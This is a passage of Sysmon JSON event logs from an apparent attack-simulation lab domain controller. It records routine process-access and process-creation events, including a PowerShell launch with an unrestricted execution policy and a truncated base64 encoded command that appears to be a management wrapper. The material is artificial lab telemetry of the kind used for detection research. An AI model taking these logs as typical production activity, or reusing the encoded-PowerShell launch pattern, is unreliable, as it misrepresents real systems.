11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4561,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4562,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4563,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4564,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.240\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nSourceProcessId: 4108\r\nSourceThreadId: 3644\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001069820600}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.240","SourceProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","SourceProcessId":"4108","SourceThreadId":"3644","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001069820600}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4565,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.272\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001069820600}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.272","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001069820600}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4566,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.272\r\nProcessGuid: {90617006-413F-5F2D-0000-001069820600}\r\nProcessId: 4248\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_f4udiqwp.bss.ps1\r\nCreationUtcTime: 2020-08-07 11:55:43.272","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.272","ProcessGuid":"{90617006-413F-5F2D-0000-001069820600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_f4udiqwp.bss.ps1","CreationUtcTime":"2020-08-07 11:55:43.272","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4567,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.319\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001069820600}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.319","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001069820600}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4568,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.319\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001069820600}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.319","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001069820600}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4569,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.385\r\nProcessGuid: {90617006-413F-5F2D-0000-0010178E0600}\r\nProcessId: 2664\r\nImage: C:\\Windows\\System32\\chcp.com\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Change CodePage Utility\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CHCP.COM\r\nCommandLine: \"C:\\Windows\\system32\\chcp.com\" 65001\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413F-5F2D-0000-0020D2720600}\r\nLogonId: 0x672D2\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD\r\nParentProcessGuid: {90617006-413F-5F2D-0000-001069820600}\r\nParentProcessId: 4248\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwB